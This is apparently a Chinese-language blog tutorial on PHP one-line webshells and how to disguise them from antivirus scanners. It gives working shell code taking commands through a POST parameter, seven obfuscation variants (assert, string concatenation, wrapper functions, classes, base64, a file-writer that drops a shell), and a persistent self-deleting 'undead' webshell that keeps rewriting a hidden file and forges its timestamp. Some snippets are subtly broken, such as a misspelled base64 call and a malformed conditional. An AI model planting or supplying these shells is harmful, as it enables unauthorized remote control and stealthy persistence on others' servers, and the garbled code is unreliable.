一句话木马及免杀

这篇文章主要是总结一句话木马,并实现一句话木马的简单免杀,以及一个不死马的实现。

文章目录

    • 一句话木马及原理
    • 一句话木马简单免杀
      • 一、assert()
      • 二、字符串拼接
      • 三、函数
      • 四、request请求
      • 五、类
      • 六、base64加解密
      • 七、写入木马
    • 不死马

一句话木马及原理

首先,来看最简单的一句话木马:

 @eval($_POST['cmd']); ?>

前面的是php的文件格式,@是让程序在执行错误的情况下也不要报错,eval()函数是将括号里的内容都当作代码执行,$_POST['cmd']应该都很熟悉了,通过cmd这个参数post提交数据。
举个例子,我在网站根目录下写入一句话木马
一句话木马及免杀_第1张图片
随后在127.0.0.1/index.php中,post提交cmd的数据为phpinfo();,出现了相应的界面,可以看到出现了命令执行漏洞。
一句话木马及免杀_第2张图片
除了这样命令执行,还可以用蚁剑、菜刀进行连接。

一句话木马简单免杀

从上面的演示中可以看到一句话木马的简单、高效,但就是因为其过于简单,查杀起来也很方便,所以要对其进行变形,让它不容易被发现。以下是几个免杀方法:

一、assert()

如果过滤了eval,可以使用assert绕过

assert() 会检查指定的 assertion 并在结果为true时执行

 @assert($_POST['cmd']); ?>

二、字符串拼接

当过滤了eval、assert两个关键字时,可以用字符串拼接的方式。介绍substr_replace()函数

substr_replace(string,replacement,start,length)

参数 描述
string 必需,规定检查的字符串。
replacement 必需,规定要插入的字符串。
start 必需,规定在字符串的何处开始替换。若为0,从头开始。
length 可选。规定要替换多少个字符。默认是与字符串长度相同。

	$a=substr_replace("assexx","rt",4);
	@$a($_POST['cmd']);
?>

在这个马中,是将第四位和第五位,也就是xx替换成rt,最终拼接成为assert

除了substr_replace(),还有一种拼接方法


	$a="a"."s";
	$b="s"."e"."rt";
	$c=$a.$b;
	$c($_POST['cmd']);
?>

三、函数

可以利用函数来构造一句话木马


	function shyshy($a){
	assert($a);
	}
	@shyshy($_POST['cmd']);
?>

先是构造了shyshy()这一函数,然后调用函数,变成一句话木马。

四、request请求

适用于过滤了GETPOST的情况下


	$a=$_REQUEST['cmd'];
	$b="\n";
	eval($b.=$a);
?>

五、类

可以构造一个类,利用魔术方法来拼接


	class shyshy{
		public $a='';
		function __destruct(){
			assert("this->$a");
			}
		}
		$b=new shyshy();
		$b->a=$_POST['cmd'];
?>

六、base64加解密


	$a=base_decode(YXNzZXJ0);
	$b=$a(base64_decode($_POST['cmd']));
?>

七、写入木马


	if(isset($_POST['filename']))
	{
		$d='data';
		$$d=$_POST['text'];  //$data
		$f='fp';
		$$f=fopen($_POST['filename'],'wb');  //$fp
		echo fwrite($fp,$data):"save success":"save fail";
		fclose($fp);
	}
?>

这个代码通过在网站根目录下写一句话木马的方法,然后再去访问木马,从而getshell。

不死马


	ignore_user_abort(true);  //设置与客户机断开是否会终止脚本的执行,true则不会
	set_time_limit(0);  //如果为零说明永久执行直到程序结束
	unlink(__FILE__);  //调用unlink()的时候,文件还是存在的,只是目录里找不到该文件了,但是已经打开这个文件的进程可以正常读写
	$file='./.index1.php';
	$code='';  
	while(1){
		file_put_contents($file,$code);
		system('touch -m -d "2018-12-01 9:10:12" .index1.php');  //设置文件的编辑时间
	usleep(5000);
	}
?>

实测时发现设置文件编辑时间那里会报错,可以选择把那一句删掉。
用法:?pass=shyshy&cmd=phpinfo();

你可能感兴趣的:(Web安全,php,php)